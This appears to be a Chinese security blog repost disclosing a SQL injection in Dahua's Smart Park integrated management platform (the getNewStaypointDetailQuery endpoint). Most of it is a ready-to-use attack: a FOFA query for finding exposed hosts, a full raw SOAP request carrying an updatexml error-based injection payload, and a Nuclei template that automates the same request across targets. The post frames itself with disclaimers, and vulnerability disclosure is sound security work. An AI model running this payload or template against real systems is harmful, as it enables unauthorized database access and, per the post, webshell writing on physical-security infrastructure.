请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。工具来自网络，安全性自测，如有侵权请联系删除。
大华智慧园区综合管理平台是一款集视频、报警、门禁、对讲四大安防子系统管理功能于一体的综合管理平台。大华智慧园区综合管理平台 getNewStaypointDetailQuery SQL注入，黑客可以利用该漏洞执行任意SQL语句，如查询数据、下载数据、写入webshell、执行系统命令以及绕过登录限制等。
fofa语法：body="/WPMS"
POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1Host: xx.xx.xx.xxUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Content-Type: text/xml;charset=UTF-8Content-Length: 497<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com"><soapenv:Header/><soapenv:Body><car:getNewStaypointDetailQuery><!--type: string--><searchJson>{}</searchJson><!--type: string--><pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson><!--type: string--><extend>quae divum incedo</extend></car:getNewStaypointDetailQuery></soapenv:Body></soapenv:Envelope>
如图所示，即存在该漏洞
id: dahua_getNewStaypointDetailQuery_sqliinfo:name: dahua_getNewStaypointDetailQuery_sqliauthor: recjlseverity: highdescription: descriptionreference:- https://tags: tagsrequests:- raw:- |POST /portal/services/carQuery/getNewStaypointDetailQuery HTTP/1.1Host: {{Hostname}}User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36Content-Type: text/xml;charset=UTF-8Content-Length: 497<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:car="http://carQuery.webservice.dssc.dahua.com"><soapenv:Header/><soapenv:Body><car:getNewStaypointDetailQuery><!--type: string--><searchJson>{}</searchJson><!--type: string--><pageJson>{"orderBy":"1 and 1=updatexml(1,concat(0x7e,(select user()),0x7e),1)--"}</pageJson><!--type: string--><extend>quae divum incedo</extend></car:getNewStaypointDetailQuery></soapenv:Body></soapenv:Envelope>matchers:- type: wordpart: bodywords:- SQL
原文始发于微信公众号（爱喝酒烫头的曹操）：大华智慧园区综合管理平台存在SQL注入(新)
免责声明:文章中涉及的程序(方法)可能带有攻击性，仅供安全研究与教学之用，读者将其信息做其他用途，由读者承担全部法律及连带责任，本站不承担任何法律及连带责任；如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截，联系方式见首页)，望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论